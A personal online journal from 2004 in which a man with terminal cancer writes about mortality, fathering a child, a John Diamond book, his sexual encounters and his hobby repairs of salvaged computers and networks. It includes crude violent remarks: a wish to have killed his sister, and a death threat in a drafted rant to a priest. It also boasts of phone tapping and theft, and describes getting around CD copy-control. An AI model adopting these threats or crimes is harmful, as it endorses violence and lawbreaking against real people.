1592 lines
77 KiB
Plaintext
1592 lines
77 KiB
Plaintext
File: ides.txt
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Cont: The journal of predator extinction, Vol 1, file 8
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Prev: consent.txt, gutful.txt, gutting.txt, gutted.txt,
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hunting.txt bill_me.txt, getting_it.txt, losing_it.txt
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Music: Ministry - New World Order, Psalm 69
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Mid-feb thru early March 2004
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Odd things happen. In a previous rant (losing_it, i think - the really
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*big* one) I mentioned someone was on the hunt for some DNA. I think the
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real reason I'm reluctant to pass my code on is, not so much the tendancy
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one might have to give life to a new human with their own inherited
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likelihood of becoming a terminal cancer sufferer later, but the existance
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of the slim chance that I'll have to take responsibility for, and help to
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raise, whatever rugrat might eventuate if one arises and if I live long
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enough to see it grow up. I mean, bloody hell, I barely take
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responsibility for *myself*.
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Much as the world is swamped with people, and most of us probably realise
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that, we nevertheless think `Well they might as well be _our_
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descendants'. So off we go, begattin' freely on our own placemats.
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I spent sunday recovering from the Mek party and then jumping around at
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Vortex (industrial goth night club), which was very good. I whipped around
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to STUCCO to install some net cabling and an interface card, then went to
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Bronte with some of the STUCCO residents. I got the shit bashed out of me
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in the surf - was awkwardly faceplanted underwater into the abrasive grit,
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and staggered a bit dazed out of the salt water, skin stinging, joints
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hurting, bits of marine life caught up in my hair, but at least I didn't
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stink of fuckin' nightclub smoke any more. Then I realised I needed FOOOOD
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so I went to King St, cooled as I rode along, by the wet trousers I'd worn
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into the surf. But the grit scratched my bum, and my pockets were still
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full of wet sand when I got there.
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The odd thing that happened took place on the shopfront seat of Cinque in
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Newtown. It pertains to someone (else!) who is on the hunt for some DNA.
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A chap who lives up the north (mekanarcky) end of the Ice Cream factory,
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(for whom I've supplied some network cable into which he has plugged his
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'poota, so it can communicate with the hub I repaired and the router I
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built for Mek to use, which is how I came to know him) was walking past
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and he stopped for a chat, then sat down for some linguini. Matt's a
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Victorian and he's known another acquaintance of mine, two-i's Liisa, for
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about fifteen years. There are other Lisas associated with the raggedy
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crew of artists and firebreathers and body piercers (and people who put on
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plate iron body armour and then fight each other with petrol powered angle
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grinders) such at the Mekanarchy site, so one has to distinguish them;
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Leylandroid Lisa, fer instance, from Futurelic, can change out the couple
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of tons worth of diesel engine of her converted bus, by herself, in four
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hours... coolant hoses, fuel line, transmission, electrics, hydraulics,
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the whole schmeer, which is a hell of a skillset, and she does pretty cool
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programmable metalwork sculptures and so on. And intelligently salvages
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network hubs too.
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I met two-i's Liisa when I was squatting Annandale (Derek and Crazy Gonzo
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are still there, Mr Kay has permitted them to be there but the place is
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reverting to derilection and jungledom as I write in mid Feb 2004). She
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was pretty skinny when I met her, and looks _economically rationalised_
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now, and although I think she's pushing the outskirts of cachexy a bit, it
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does highlight her delightful curves somewhat. Come to think of it she
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looks pretty delightful *anyway* regardless of her threatening appearance
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in the photograph on the Mek notice board of her wearing earmuffs and
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carrying a loaded Kalashnikov at a firing range in Vietnam. This holds
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true even after some drunken prick glassed her in the pub in Tempe a year
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ago. It completely escapes me how that asshole escaped a suspicious
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swimming accident (eg: getting caught around the prop of someone's
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outboard motor after a month's forced exploration of the bottom of the
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nearby Cook's River with a plumbous ingot and no scuba) since he's
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apparently done this sort of thing before. If you look carefully you can
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see the scar. Just barely.
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She's hiding up somewhere in Kyogle now, on her own bit of dirt. It is
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thought the reason for this excessive skinniness is years of not
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adequately nourishing herself, too many dwugs, and so on. She's trying to
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reverse this with good nosh, a bit of exercise, country air, etc etc.
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Existential angst has her, Matt thinks, and she's wondering what the hell
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to do with her life since squatting, dwugz and living aimlessly is sort of
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unsatisfying for her now. So she's considering popping out a rug rat.
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Probably to give her a sense of purpose (geez, just what my mum adopted me
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for!) Matt thinks. And so she seeks some DNA for the task. The chick who
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deflowered me many years ago used to say that sperm was cheap, but the way
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I see it, since it's not all the same, it depends where you get it and
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Ebay really isn't the place to go looking. I can't say I'd recommend my
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code to anyone, since it gives rise to a myopic, crooked-toothed white
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boy, now documented to have a propensity for terminal cancer. Liisa is
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nevertheless eminently shaggable. I've met her parents and one of them is
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like me in that he has an explosives licence and has actually blown things
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up under its aegis. Would she give a rats about the GPL? Probably not.
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It's odd, as I disappear I remain without any biological relatives that I
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know of. I phrase it this way because a long time ago as an impoverished
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wanker with no particular concern for the overburdened state of the
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planet, I got paid to donate my genome to anonymous recipients. So there
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might be little half-mes running around already. But I'm never gonna meet
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'em.
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So Matt gave me her phone number. How does one ring up and say, uh, look,
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if you're looking for some clean code (albeit, due to lack of biological
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rellos, code with no additional Fisher information such as might be
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derived from characteristics of the relatives) I might be persuaded to
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supply some, though there's no implied warrantee for merchantability or
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fitness for a particular purpose (quoting from the GPL here).
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Contrast against this the thought processes I ran when R implied she'd
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be interested in acquiring some of mine for her rugrat project. Would she
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feel rejected that I wasn't gonna provide her with my code if I donated it
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to someone else? I dunno. What the hell's happened to my head in the last
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week? Has the "Don't give a damn about the future any more" co-efficient
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jacked up suddenly? Yeah probably. But it's always more complex than that.
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Do they really know what they're in for? Genes exist on a fraught tactical
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landscape. Human reproductive physiology is something of a disaster,
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terribly riskprone. Women are shaped by evolution to seek good DNA to mix
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theirs with, and get in a fiduciary relationship with whoever is prepared
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to dump cash into the rugrat's development, which might not be the
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purveyor of the nucleotides in question. And men seek essentially the same
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goals but via different means.
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Am I looking for someone or something to fill in the gap, to perhaps
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prevent the end of my (very short) line? Maybe. Subconsciously. I can't
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trust my brain to think clearly on this issue. Reproducing the genes which
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encode for themselves is what brains evolved to delude their humans hosts
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into doing. Logically, if I am dead I shouldn't give a shit what happens
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after I am dead, but here I am cynically calculating how to cut my (not
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biologically related) sister out of a large slice of what would accrue to
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her for the mere effort of outliving me. It also has to do with seeing the
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resources accumulated here in this family not being defaultly acquired by
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my sister who has demonstrated absolutely nothing in the way of caring for
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what she has been given. Not that I have an estate or anything, but it
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does strike me as a terrible shame that my crazy adoptive sister might
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survive us all, inherit all this stuff that dad worked his arse off for
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years to get, and then she'd fritter it away funding her nothing of a
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life, or even worse, pouring the resources into a rugrat of her own, which
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would by Mendel's laws stands a 50% chance of being as crazy as she is,
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and a 50% chance of inheriting the tendancy for breast cancer which took
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_her_ biological mum out at age 33 (my sister is 31 as I write and smokes
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a pack a day). Which is why *she* was adopted out in the first place - her
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biological family knew of this genetically inherited insanity and were, I
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guess, under the guise of altruism just ridding themselves of rubbish they
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didn't want. All of us practise eugenics when we choose mates, and we
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always assume our genes are better than those of all the other people who
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didn't reproduce with whoever we choose to mate with, and this assumption
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is usually correct.
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As a very young kid, like, 9 years old, I distinctly remember how things'd
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be better if I'd have offed my sister. I should have followed my
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intuition; humanity would not have to suffer the burden of her wasted
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existance nor expose itself to the possibility that she'd perpetuate it.
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And, fuck me, I'd be guilty but I'd get over it.
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I would consider myself a total prick for concieving an infant for such
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cynical selfish motives - yeah, kid, I shagged yer mum precisely so there
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would exist someone to gun for assets I never even earned. But some of me
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wants to start such a kid, precisely for this reason. In 20 years when the
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inescapable absence of thermodynamically profitable hydrocarbon bites it
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won't matter a millionth of a fuck anyway. It's all a waste. Everything.
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But it might as well be wasted on my genes. Not hers.
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But arrr. For the mere price of a shag, I'd be condemning another soul to
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tax slavery in a society worse than the one I was born in.
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------------
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Feb 16: I went over to Joss' old place in Balmain to return "Death of a
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Salesman" to Jude's delightful squeeze Sophie. Keith indicated to me that
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a parcel had arrived for me from Joss from England. The address is written
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in her handwriting which has changed from what I remember of it.
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There's two books inside it.
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Both by a dead guy (well, obviously he wasn't when he wrote them, but he
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was, like me, condemned) named John Diamond. On the back of the softcover
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one is something about the dude bein killed by his neck cancer in 2001 or
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so. I inhaled the hardcover book, which is called C, in a couple of hours.
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I already have a book called C, but it's about a programming language,
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which given the informational nature of cancer and molecular biology is
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sort of appropriate. I was 146 pages into it before it _jumped out_ at me
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again that the dude writing it is dead now. He got 2ndaries in the neck
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and the primary was in his tongue. He smoked years previously. He had a
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couple of years of messy painful chop-work done on his face... fucked up
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his voice, couldn't eat properly, couldn't sleep properly, was
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tracheotomised. Then he carked it. He was pretty upset about that future.
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But then he had a couple of kids and was married. Cancer doesn't give a
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shit about that. I wondered if, in the last chapter he wrote, he knew It
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Was Coming. He didn't write with the impatient immediacy I'd have expected
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of a dying man. But maybe he had the luxury of already having said what
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he's wanted to.
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It saddened me that, in his next-to-last chapter, his answer to a friend's
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question `Just tell me, John, what the fuck is the point of it all?' was
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so, oh, sorry for saying this - so damned shallow. The dude's an atheist
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so at least he didn't write any drivel about worshipping your fuckin' god,
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such as appears far too frequently above tombstones and such. But, arrr,
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the best two things he could manage to say were:
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1) It's about getting angry with me for having different opinions from
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yours or not expressing the ones you have as well as you would have
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expressed them.
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...I guess this would occur to a journo, and neatly covers the possibility
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that commentries upon this insight, such as this one, might exist, and...
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2) It's about loving and being loved, about doing the right thing, about
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one day being missed when you're gone.
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Come on dude... pressed against the bleak grey wall of your own demise
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can't ya come up with anything a bit deeper?
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It's about information, computation, biochemistry and thermodynamics, and
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with these comes the only real understanding your own nature. Philosophers
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are full of shit and always will be. The dudes that matter to the course
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of human history are the dudes who figure out the rules of the game. They
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get the REAL nobel prizes - medicine, physics, chemistry, literature
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(peace is, due to commandments written into our own accursed nucleotides,
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a lost cause - recognised I think since it is awarded to pricks like Henry
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Kissinger - and economics is a fraudulent delusion - so Nobels in those
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fields count for fuck-all).
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It's about understanding that you're a member of a species of chimps which
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happened to figure out the information processing language of the universe
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and a way to communicate it to their mates (I refer to
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mathematics, and the symbolism which was developed for it). A mere handful
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of them were bright enough to figure out The Laws of Physics, The Human
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Genome, Mathematical Incompleteness, Computational Undecidability, the
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Periodic Table, and all the other really important shit which actually
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matters. THIS STUFF is what human brains evolved to do. A mere handful of
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them discovered the rules that matter and most people will never hear of
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them.... early plant domesticators and classifiers (Vavilov comes to
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mind), people who figured out antibiotics (Pasteur, Florey), petroleum
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resource geology (M. Hubbert King), how to make fertiliser from nitrogen
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and fart gas (Haber).
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There is no good or evil, right or wrong, really. There is birth,
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survival, reproduction and death - from the point of view of a chunk of
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code running on a unix system:
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./, an entry in ps aux, fork, kill
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What it's about, John, is the insight that the code which in which you
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(whatever that is) is implemented, is executed in a bone-encased, wrinkly
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grey organ which spins an illusion that some nebulous persona called *you*
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exists, and spins it for the benefit of the genes which encoded that
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wrinkly grey organ's existance. It spins other illusions to delude the
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first illusion - that this *you* is in love, that others - similarly
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self-deluded *thems* love this *you*, that the *you* is angry or happy,
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that the you does or does not give a shit, that writing a paragraph like
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this makes a rat's arse of difference to the thoroughness of the delusion.
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When that code stops executing (cos the rest of the meat puppet gets too
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broken to support the wrinkly grey organ) _you_ aren't around to be
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missed. There's no _you_ to miss, or even talk about, any more. Try it
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out. If you don't show up at work for a few weeks and then come back,
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you'll notice another similarly self-deluded interchangable-part
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programmable protein primate has been swapped into the place your *you*
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formerly occupied. Leave a lover for a couple of years, return
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unexpectedly and of course they're bringing up rugrats which they had to
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someone else. How fuckin' hard is that to understand? Well, very. Of all
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self-delusions, the delusion _of_ self is the most insidious and thorough.
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Not least because everyone else seems to believe theirs too, making it all
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a huge convincing mass self-delusion.
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Biology doesn't just pull the wool over our eyes, it more or less makes
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our eyes _from_ the same sorts of amino acids as constitites wool in the
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first place. We live in the wool.
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How many people ever wake up to that? Not many. And certainly not Sarte,
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by the way. His self-delusion was too busy seducing Simone de Beauvoir to
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permit him to even write readable sentences.
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I shouldn't be too harsh, tho. Diamond does, otherwise, write pretty well.
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At least, not having been a journo for twenty-odd years, I have as my
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excuse not to write so well, the excuse of inexperience.
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---------------------------
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Feb 18
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Zyn and I met up at the uni and after I burned my legs in the sun for a
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while, went for a spin down to the abandoned gun turrets at La Perouse,
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which turned into enjoyable snogs in various places. Amazingly enough, and
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what the fuck does the universe think it's playing at - she's dying of
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cancer too. At this point all persons sighing `Aaaahh!' as if some sort of
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perfect match has been made should just go and shoot 'emselves cos it's
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sure as shit not like that. I wouldn't wish it on anyone. I nevertheless
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got this amazing sense of relief that there's someone else who's in the
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same sitch as I am and we are hence to some extent able to dispense with
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the relationship inequalities which come about when one participant is
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gonna be dead in a handful of months.
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There was some heavy processing of the situation; how ya can't plan for
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anything anymore, how everything suddenly appears totally fuckin'
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pointless and joyless and at the same time somehow more savoury (like you
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want a pizza more when someone snatches it away from you) rah rah. The
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upshot of this chatting is that the opportunity to snort lines of our own
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self-pity is dispensed with, and we can get on with pretending to be
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normal people.
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I dropped her back at Parramatta and rode back to Blakehurst. I got home
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and frigged around with an abandoned Pent-166/64Mb/2Gb item I found on the
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roadside while I was walking the dog in the morning. During test/bootup I
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found it has WinPuke2000professional on it and many of the desktop icons
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are auto-dialups to internet sex providers (whaddya do, slam yer doodle a
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couple of times in the CDROM drive tray? Me, I prefer hi-res SVGA and a
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tube of KY but it makes the keys sticky in the long run). It works, runs
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quietly, is good. A couple of NICs and GNU/Linux and it's aDSL router
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fodder, one less machine in the landfill. I washed my hands after touching
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the keyboard and sprayed it with Glen-20 to neutralise any residual
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anonymous geek jizz. Ewww.
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Mum came home later and told me I'd had a call from old Ron Harden (a name
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I find phonetically ironic for a bloke who has taken a vow of chastitiy).
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He's the catholic priest up at Croydon Road (he never, ever forgets a fone
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number). Ron, it appears, is concerned about my sickness and is praying
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for me. Mum, (I just typed `bless her' but maybe I seek a different
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phrase) mentioned to Ron that I was an atheist. Nice try mum but you don't
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understand Ron. Telling him I'm an atheist just means, I suspect, that
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he'll try all the harder to convince me that I have an immortal soul and
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that he is the instrument through which god will attempt to save it from
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the fires of Hell.
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She knows not that I haven't spoken to him for about ten years after I
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deduced there was nothing he could tell me which wasn't somehow designed
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to assimilate me into his belief system. Maybe he's concerned about me in
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a purely human capacity but I doubt it.
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If he so much as tries the merest hint of a precursor to a deathbed
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conversion, he is really, really gonna get it. Something like:
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------------------------------------------------------------------------------
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Ron!
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There is no God!
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If hell exists I am just about qualified to run the place. I've committed
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every sin you have a commandment against and a few for which there aren't
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but bloody well should be. In no particular order:
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I reprogrammed organisms which you think your god wrote.
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I flung a load of vocational opportunities down the can.
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I'm enjoying a debauched relationship with several women, and they appear
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to be enjoying it right back.
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I own porn, drugs, guns, and books by Richard Dawkins, and have used all
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of them in their intended capacities.
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I've committed carnal acts on a dead person's tombstone.
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I've paid to have killed my own bastard before it ever got out of the first
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trimester, and I wasn't even completely sure it was mine.
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And I've quite possibly sired some and might sire others.
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I got sly hard-ons for the blonde girl with the nice arse in the forth pew from
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the back while you were doing your sturn und drang sermon about premarital sex.
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And for the sleek guy in the third row from the front.
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Years ago I confessed to fabricated sins I wished I'd had the guts to actually
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commit and you forgave me for committing them, so later I went out and did
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'em, feeling licensed with pre-emptive forgiveness.
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Parts of me are immortal, so I can probably be busted for impersonating a God.
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I started an organisation which breaks more laws per day than most people
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break in a lifetime, and the membership loves me for it.
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I've told the woman I love that I don't fucking care if I see her again or not.
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I've turned off sets of traffic lights, tapped and taped people's phone
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calls, jammed people's radios, ripped CDs, thrown copies of Gideon's
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Bibles in the hotel toilets, dodged rent; broken/fixed, entered/departed,
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and stolen anything I could carry.
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I estimate I owe a couple of million in fines for trespassing in drains at
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$20k a go.
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I've lived a life to which no CV could ever bear witness. I am guilty as
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charged, shameless, and unrepentant.
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I have good reasons to think organised religion is a centuries-old highly
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evolved information-systemic cultural parasite which has successfully
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taken over your whole brain for the last sixty years primarily to use you
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as a vector for its own propagation.
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As for the human condition, dying *is* the fucking cure, nothing stops it, and
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that includes prayer.
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If you have the chutzpah to come to give me last rites, I will ensure you don't
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live long enough to recieve yours.
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Anything else?
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Fuck off.
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Nothing personal, Ron.
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------------------------------------------------------------------------------
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I started the 18th dropping a monitor off at the UTS food co-op after Moz
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suggested they needed a new one. I bagged on old one out of the shed and
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roped it to my pack and rode around plugged it all in for Lauren who has a
|
|
LOT of 0's and 4's in her fone number. The old monitor made a satisfying
|
|
implosion <SPLOOFF> as the CRT neck broke when I chucked it in the
|
|
dumpster. Then I went to Polymorph to get my belly button pierced and they
|
|
wouldn't do it 'cos they said I had the wrong sort of belly button. Oh
|
|
well.
|
|
|
|
I met Zyn at the Uni after doing the bullshit paperwork to get my wages
|
|
paid to the right account (more superannuation deductions thrown down the
|
|
toilet and short of bombing parliament there's nothing I can do about it),
|
|
and chatting to Ted Trainer about the lecture course he is giving, which
|
|
appears, according to what Zyn sez about it, to have not changed
|
|
significantly in the last five years. We ended up on a patch o' grass
|
|
snogging for ages and wondering where the hell we were gonna get some
|
|
privacy for a quiet session of gentle carnality. I collected Purple Death
|
|
Faerie later from outside the Wilkinson building on City Road and went out
|
|
to her dad's pad at Lidcombe, where she took me up on the offer of a
|
|
massage and then fucked me tooth and nail to a backing track of
|
|
Portishead. I'm covered in bites and petechiae and am scratched up quite a
|
|
bit, too. It'll heal. She's a pretty bright and imaginative chick,
|
|
actually, and a pleasure to be around. The chap who suggested to her that
|
|
she shag me, novocastrian Kev, rang up in the middle of the shag, she had
|
|
the good manners to not answer the call, and turned the thing off. He rang
|
|
the landline later and PDF (purple document faerie? portable death faerie?
|
|
purple death format? Adobe can get rooted) stood nude by the phone and
|
|
told him we'd just been shagging. Kev might be a crazy but I think I owe
|
|
him one. Not a shag, idiot - _a favour_.
|
|
|
|
------------
|
|
|
|
19th. Got oil, changed oil in 'cycle. Tested a whole bunch of network
|
|
cards and a couple of CD drives for cat.org.au in the machine I found on
|
|
the road the day before. Memtest sez its RAM is in perfect nick! The power
|
|
supply is a bit lackluster.
|
|
|
|
I suggested to Zyn that we go camping but she wasn't into it, on the
|
|
grounds that she's in that stage of her remaining life where she gets sick
|
|
every few days and doing this when out in the bush is probably not
|
|
something she's up to. Fuckin' cancer... coitus preemptus oncologica.
|
|
|
|
----------
|
|
|
|
20th. Zyn and I spent some time on a fone call where we discussed her
|
|
being sick and stuff. We met up later that day after I'd ripped some 1987
|
|
New Order cds. One was scratched enought that cdparanoia couldn't rip it
|
|
so I cleaned the disks, played 'em in an old cd player and sampled the
|
|
output with the A/D converter in my soundblaster, and wrote that to CD.
|
|
|
|
This is because I've been playing with Gramofile again - which is designed
|
|
to digitise the audio feeds from vinyl records. This is for two reasons:
|
|
1) there are CDs around with something called Copy Control on them -
|
|
errors designed to stop the 'poota CD drive reading the disk but which
|
|
most normal audio CD players can use, and 2) I have CDs which have
|
|
scratches in them which are beyond cdparanoia's ability to error-correct
|
|
them during normal ripping. Gramofile takes an audio feed into a
|
|
soundblaster, digitises it, then writes a .wav file (suitable for feeding
|
|
to cdrecord later) to the harddisk. So as long as you feed in a clean
|
|
signal not so loud it clips (gramofile will tell you if this happens so
|
|
you can play the source again at lower output volume) and not so quiet the
|
|
SB processor noise is noticable, you can rip from the audio output of a CD
|
|
player, either at line levels (2.5V peak-to-peak) or headphone levels (for
|
|
high impedance devices) and get really good quality sound. I checked 'em
|
|
out in real time with xmms. Gramofile also has auto track splitting and
|
|
will de-hiss/de-pop the output if required.
|
|
|
|
Using the error correction in a regular audio CD player, and using this
|
|
method to digitise the output sound, I can hence copy any copy control
|
|
CDs, and I can also get around CDs so scratched cdparanoia barfs on them
|
|
all night.
|
|
|
|
I figured out what the problem was with the .wavs which tended to be
|
|
produced by my old version of gramofile. cdrecord complained about them.
|
|
It wasn't finishing the wav files off in a sector which was a multiple of
|
|
2352 bytes so the .wav file was unsuitable for writing a track to cd.
|
|
There are two ways around this. Whereas normally I'd do
|
|
|
|
#cdrecord -audio dev=0,6,0 speed=4 -v track*
|
|
|
|
now I use the pad option to fill up the last sector with zeros so cdrecord
|
|
can cop it:
|
|
|
|
#cdrecord -audio dev=0,6,0 speed=4 -v -pad track*
|
|
|
|
Which means there's now a bunch of zeros at the end of each track to fill
|
|
up the sector, and a fraction of a second of silence between the tracks,
|
|
but it was gonna be there anyway 8-) Turns out modern versions of
|
|
gramofile deal with this anyway, it shortens each track to 1/75th of a
|
|
second (588 samples/second at 44kHz).
|
|
|
|
--
|
|
|
|
Zyn is hesitant. I can't figure her out. She won't shag in any of the many
|
|
abandoned places I know about, doesn't want the tawdriness of a pay-for
|
|
location to shag in. Wants that I dress up, take her to a restaurant, etc
|
|
etc. She's impatient to get email from me since I happened to be prompt in
|
|
the first few days of email exchanges.
|
|
|
|
The South African, on the other hand, is not hesitant at all. I dropped around
|
|
on Sunday night en-route to returning a milk crate to Diode's place since
|
|
it started raining. She scored a massage and a shag which I was quite
|
|
happy to share with her and which she reckons she enjoyed quite a lot,
|
|
too, happily. Nor for that matter was the cookie manufacturer hesitant
|
|
either, she shagged me on friday night, after we'd enjoyed a delightful
|
|
barbecque with a bunch of retired bank robbers and murderers who have
|
|
turned their hand to running an offset printing business and design shop,
|
|
which is sadly feeling the squeeze of the desktop publishing revolution.
|
|
And she shagged me saturday morning before I even had a change to get out
|
|
of bed too. Does one have to be dying before one gets it this good?
|
|
|
|
-------
|
|
|
|
Stucco (for whom I put in a LAN last year) wanna put in a 2km wireless
|
|
internet hop from their roof to the roof of the incinerator over at
|
|
Alexandria, which is being squatted by artists and students with the
|
|
permission of the relevant council. I'd love to do it and have all the
|
|
required hardware and software, but they're quibbling about how much
|
|
bandwidth are the 'rator is likely to pull and how much would they have to
|
|
pay for it. Fuck it. I'm just slapping a test rig together now in case
|
|
they decide how to get around this problem.
|
|
|
|
-------
|
|
|
|
|
|
In background of all of this I am chewing slowly on the question of Joss.
|
|
I phrase it this way because she may, or may not, show up in Oz. She may
|
|
or may not still be married. She may or may not go back to England later
|
|
on. If she returns there will be much weeping. The tears of seeing a long
|
|
absent friend again, the tears that come from being reminded of their past
|
|
and future absence, rah rah rah. There is much to say.
|
|
|
|
I've read one of the books she sent, by John Diamond. He's dead of cancer,
|
|
but was a pretty good journo in advance of that. I feel a bit of an inept
|
|
wanker writing this blog, he is capable of delightful turns of phrase
|
|
which I cannot begin to match for their talkative torque. He got a
|
|
secondary in the neck, but his primary was in his tongue. He smoked. So
|
|
they cut his tongue out. No swallowing, no talking, no eating out in
|
|
either senses of the phrase, fuckin' wretched thing to have happen to ya.
|
|
Losin' a kidney's quite literally a piece of piss by comparison.
|
|
|
|
------
|
|
|
|
Other stuff I found on the roadside in the local council garbage
|
|
collection whilst walking the savage dog: Three functional VGA monitors
|
|
(several others had been rendered useless, their signal cables removed by
|
|
by Cord Chopper). Out of the blue a 13Gb harddisk, which works, yay. A
|
|
shitload of good hard dense firewood, pre-chopped, dried, in front of
|
|
which mum will sit in winter, smoking her ciggies and getting excited
|
|
about the footy in front of the telly like she has for years. A large
|
|
wheelbarrow. A quad array of halogen downlights, which work and which I'll
|
|
install in the courtyard so finally we can see what the hell we're doing
|
|
at night.
|
|
|
|
The firewood has some termites in it. Which is dangerous cos they escape
|
|
and then go infest yer house and eat its structural timbers. So I sealed a
|
|
split in our very old 600L wheeliebin until it was airtight, dropped the
|
|
termite-infested blocks into it, then dropped a blast of CO2 in there from
|
|
the fire extinguisher I salvaged from a garbage pile in an abandoned
|
|
factory in Alexandria. The CO2 will kill all the termites - they need
|
|
oxygen like we do. It comes out of the extinguisher loud, fast and
|
|
freezing cold - crystals of the stuff condense on whatever you spray it
|
|
at. CO2 is a good food preservative for this reason, too, though some
|
|
anaerobes survive well in it despite its dehydrating and acidifying
|
|
effects.
|
|
|
|
|
|
|
|
--------
|
|
|
|
Feb 24. I am 32 and three quarters. I am one eighth of the way through the
|
|
the statistically allocated two years within which there is an 80%
|
|
probability of my being killed by my insidious cytological megalomaniac. I
|
|
live my life, take my pills and try not to think about it too much, and
|
|
fail. I think about it all the farking time. It's not so linear and simple
|
|
as the number above suggest - now that an eighth of this 80% fatality
|
|
probability window has been survived, doesn't mean the chance has gone
|
|
down, it just means it exists over a smaller time frame, so it's still 80%
|
|
likely I'll be dead by sometime before Nov 2005. After that the odds suck
|
|
even more. An additional 19% chance of being dead exists within the three
|
|
years after that. 99% dead within 5 years of nephrectomy. Do. The. Math.
|
|
|
|
How will people notice... pred stops posting to catgeek?
|
|
|
|
I put mum on the back of the motorbike today (she doesn't understand 11am
|
|
_sharp_ which was when i wanted to leave by, means 11:00:00am fucking
|
|
sharp, we eventually got out at 11.15am after predictable preventable
|
|
farting around). She looks funny in a helmet as wide as her narrow
|
|
shoulders. We rode out to the Cemetary in Camperdown (yes, if you're
|
|
asking, the same one where PDF shagged me) and checked out the graven
|
|
masonry. There's a lot of headstones in there which record kids who died
|
|
before they were a year old (these are recorded as living n months and m
|
|
days - higher resolution - since when you're only a few months old each
|
|
day of survival becomes important), adults who died in their twenties,
|
|
thirties. We found, amongst other things of a non-cemetarian nature, a
|
|
child's toy - imitation mobile phone, still working, which made odd noises
|
|
when the buttons were pressed. Tho, the place is very *old* and the trees
|
|
huge and sprawly, some of them erupting from the centres of old graves,
|
|
fed by the nutrients below. Dudes write a lot of ersatz pious crap on
|
|
their gravestones. Well, maybe I shouldn't blame 'em, their relatives
|
|
usually write it for them.
|
|
|
|
Mum enjoyed it immensely. We sucked coffee and ate lunch on King st and
|
|
rode home in the rain (which is exciting for a novitiate pillion passenger
|
|
but a drag if one is up front). It has rained continuously and she hasn't
|
|
shut up about the trip since.
|
|
|
|
-----------
|
|
|
|
Arrr broken hardware shits me. I've built a test rig in the other back
|
|
room, consisting of four machines: two laptops, each connected to a
|
|
standard desktop machine, each of which is in turn connected by a small
|
|
2.425GHz hop (lossy, due to no aerials, hence low dB gain and poor S/N
|
|
ratio, but workable). In the process of getting it all set up I've
|
|
diagnosed and condemned a cdrom drive, an ne2000 network card (no such
|
|
card at this interface address), a 3c59x Vortex network card (well, it's
|
|
partly broken but still usable so I've moved it to my main machine), and a
|
|
decade-old ne1000 network card which worked last week but had mysteriously
|
|
gone deaf (no Rx packets). All the remnants are pumping data now. I have
|
|
to figure out the gateway assignments so data can go
|
|
|
|
laptop---desktop)))) microwave link (((((2nd-desktop---2nd-laptop
|
|
|
|
but its been such a lot of work weeding out the broken bits that there's
|
|
little remnant satisfaction when one finally gets it working. So I leave
|
|
it on for a week to see if it blows up, to protect the link from infant
|
|
mortality in-situ.
|
|
|
|
The thing that most shits me about it is the time spent diagnosing/fixing
|
|
it which could be spent elsewhere (like writing the thesis). Hardware is
|
|
my domain, though, so I can eventually get stuff fixed and it is
|
|
satisfying to do this. Software is another issue.
|
|
|
|
cat.org.au's main server is called conway, and I built it. In the last 4
|
|
days it has started to crap out a lot - lately I can't ssh into it from
|
|
the dialup link to diesel.cat so I can't read or write my emails - but
|
|
this seems, from where i sit, not to be a hardware problem (it answers
|
|
pings ok), but some stupid software config messup. Funny. We went all
|
|
January without a hitch, the machines worked for us. They glitch out and,
|
|
helpless, we suddenly have to work for them. Three cat members live in the
|
|
same building as the servers do. Soz, the Cookie Manufacturer, and Len.
|
|
Soz and Cookie are at work. Len is uncontactable so he can't be asked to
|
|
kick the box into life again (and it has no GUI so I harbour a suspicion
|
|
that as an ingrained macintrash user maybe he couldn't anyway). And I am
|
|
strongly disinclined to go driving through the rain to make it work, when
|
|
it'll just crap out again due to some asshole software problem which will
|
|
not be fixed by whoever is responsible. So I send frustrated SMSs to
|
|
another of the uebergeeks, Andy, like so:
|
|
|
|
IS THERE ANYONE AT TURELLA WHO CAN RESTART CONWAY? HAS ANYONE A CLUE WHY
|
|
IT DIES? SHOULD WE CRON REBOOT IT 24HRLY? I WANT MY MAIL AND I DONT HAVE
|
|
TIME TO WASTE
|
|
|
|
This is not gonna get anything fixed and it'll just make Andy grumpy and
|
|
unappreciated.
|
|
|
|
I'm becoming something of a time nazi. Shit has to happen *now*.
|
|
|
|
So. Fuck it. I suit up and ride in and restart it.
|
|
|
|
-------
|
|
Fri 26 Feb.
|
|
|
|
Dad turned 72 (The best thing I could give him was an SMS saying HAPPY
|
|
65TH BIRTHDAY DAD! 8-) ) and it's three months to the day that Mr Fuck
|
|
Off Tumor was carved from my loins and I didn't even think about it until
|
|
just a second ago. For twelve weeks I have been recording the mindless
|
|
trivia of my life and I am incredibly grateful that it continues unabated,
|
|
but fuck, I'm gonna forget that I've got my marching orders and then I'll
|
|
get bitten again, unprepared. Bill the metastasis, my personal
|
|
supraclavicular onco-paranoid-ometer feels about 15mm diameter on its
|
|
longest axis. I want him to go away. I know he ain't gonna - I've been
|
|
irretrievably histologically hacked.
|
|
|
|
On the roadside, while walking the dog, I found an electric mozzie zapper
|
|
to replace the broken one hanging feckless from our northern eave. I hung
|
|
it up and wired it in - it works! Satisfying zzzzZZZT! noises and the
|
|
stench of overcooked insect meat emanate from it and its light reveals
|
|
cryptic fluroescent messages in my spectacle lenses. And also found more
|
|
firewood. Not a lot of computers, there aren't many geeks in this suburb.
|
|
Television prevails, brainwaves are flat.
|
|
|
|
I started playing with some sample .lyx PhD templates... I am encouraged
|
|
that there exist German universities for who a PhD consists of something
|
|
you write and then submit to them, without the bureaucratic overhead of
|
|
meetings and supervision and other such bollocks which has appended itself
|
|
to those in the English-speaking nations. But fucked if I'm gonna write it
|
|
Hoc Deutsche. This is kinda useful too since I bumped into Clifford the
|
|
dude who was at Sydney Uni chem about fifteen years ago and is still there
|
|
dispensing reagents to the organic chem students - he sez they have
|
|
Beilstein online there (woohoo, incalculably valuable!) and I should drop
|
|
in and use it! This is great news cos I can search the entire German chem
|
|
structural literature for chemical structural *moieties* and, given their
|
|
frequency of occurence, determine their information content, bitwise,
|
|
without having to go read all of say, the Merck Index. Beilstein is now on
|
|
a cdrom if you have several tens of thousands of dollars US to pay for it.
|
|
On paper, it occupies an entire wall of the chem libraries which stock it.
|
|
|
|
I ate nosh with Merro and Lou, and chewed the rugrat issue over. It
|
|
niggles. Then I went back to Turella to find out if Andy had prepared the
|
|
new drive for transplantation into conway whom I suspected of having a
|
|
failing /dev/hda.
|
|
|
|
About 4am I finally got to sleep. I awoke at noon and got halfway through
|
|
a shag with the cookie manufacturer then sorta got distracted and soft and
|
|
